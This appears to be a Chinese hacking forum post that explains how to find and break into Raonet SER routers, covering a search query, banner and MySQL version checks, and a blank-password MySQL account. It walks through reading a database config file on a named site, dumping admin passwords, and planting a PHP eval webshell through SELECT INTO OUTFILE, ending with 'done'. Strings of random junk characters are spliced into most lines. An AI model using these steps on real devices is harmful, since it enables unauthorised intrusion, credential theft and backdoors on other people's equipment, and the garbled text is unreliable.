寻找存在漏洞的路由器方法:
- d8 I/ A; X% A2 G0 \, `: N. y/ {, n7 A3 @
1:google搜索'Raonet Subscriber Ethernet Router'
- A' @1 y4 l: @1 \/ I
- R+ a, j: \- ]. @' Z2:使用WebDAVScan扫80端口,http banner为thttpd/2.21b 23apr2001, f' f t5 n- K( V
( Y: N' X9 n2 ?" M1 Z
3:扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14,默认有一个高权限的帐户mysql,口令为空。: z0 ~& n; w& n) T2 v$ |
6 Q, M1 u3 d4 c3 G+ k/ ]. w1 Y//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......& b3 P G- ^4 a \0 k B
$ \0 L; V. P% [' {
! y( {5 ]1 T' f1 s# v8 G' V& t/ i9 R/ K& p0 `) P3 m$ ]: o6 F
入侵步骤:
7 O% f1 a Y: M# l$ C! T2 R. i. U# ?4 H1 Q/ h6 ]% A/ q
1.爆web路径,http://www.yu1u.org/src/jpgraph_line.php
( F1 ~& k1 }: H8 s; L3 D7 O/ b) ? U% z* `
2:查看数据库配置文件,http://www.yu1u.org/inc/conn_db.inc
9 f0 `1 u" x& e }8 t3:得到密码后连接,查看GUI管理密码:
# a4 ]0 J. z! i R+ huse ser_5009 x9 q: O, v3 z3 W
select id,passwd from user;9 ?2 L1 \7 [4 r9 r) Y! l
4:通过数据库写入webshell,执行命令:$ I1 H, q1 X, y6 n" r+ Y( O
use mysql;
' H+ I }9 f. S4 F N5 G' N" Wcreate table ok(cmd TEXT);& e# ^5 d4 }% t& i
insert into ok values("<?php @eval($_POST[cmd])?>");
, o: n. |" ]3 E: Q3 `0 u7 J2 Cselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";" M( ?8 a4 ^; \: I# @
drop table ok;
$ l/ a2 w. T8 Y# |" K$ O* ]3 [4 k
/ p# [( E- W6 I5:连接后门shell.php
}/ @2 O; }' g. h1 a+ n- O& v0 O- o% t. G+ M
6. 搞定!6 @& h; R" s8 |3 b) c4 H2 G
, T! g, @" v. @( k4 v |